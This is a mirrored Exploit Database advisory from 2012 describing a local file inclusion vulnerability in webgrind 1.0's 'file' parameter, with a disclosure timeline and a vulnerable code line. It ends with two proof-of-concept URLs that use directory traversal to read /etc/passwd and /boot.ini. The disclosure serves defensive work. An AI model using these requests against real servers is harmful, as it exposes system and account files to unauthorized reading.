webgrind 1.0 – ‘file’ Local File Inclusion

• Exploit Database
• 106 阅读

• 作者： LiquidWorm
  日期： 2012-02-25
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/18523/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57

  webgrind 1.0 (file param) Local File Inclusion Vulnerability     Vendor: Joakim Nygard and Jacob Oettinger Product web page: http://code.google.com/p/webgrind Affected version: 1.0 (v1.02 in trunk on github)   Summary: Webgrind is an Xdebug profiling web frontend in PHP5.   Desc: webgrind suffers from a file inlcusion vulnerability (LFI) when input passed thru the &apos;file&apos; parameter to index.php is not properly verified before being used to include files. This can be exploited to include files from local resources with directory traversal attacks and URL encoded NULL bytes.   ---------------------------------------- /index.php: -----------   122: case &apos;fileviewer&apos;: 123: $file = get(&apos;file&apos;); 124: $line = get(&apos;line&apos;);   ----------------------------------------   Tested on: Microsoft Windows XP Professional SP3 (EN) Apache 2.2.21 PHP 5.3.9 MySQL 5.5.20     Vulnerability discovered by Michael Meyer michael.meyer greenbone net     Vendor status:   [22.02.2012] Vulnerability discovered. [22.02.2012] Vendor notified. [24.02.2012] No response from the vendor. [25.02.2012] Public security advisory released.     Advisory ID: ZSL-2012-5075 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5075.php   Vendor: http://code.google.com/p/webgrind/issues/detail?id=66     22.02.2012   ---     http://<host>/webgrind/index.php?file=/etc/passwd&op=fileviewer http://<host>/webgrind/index.php?file=/boot.ini&op=fileviewer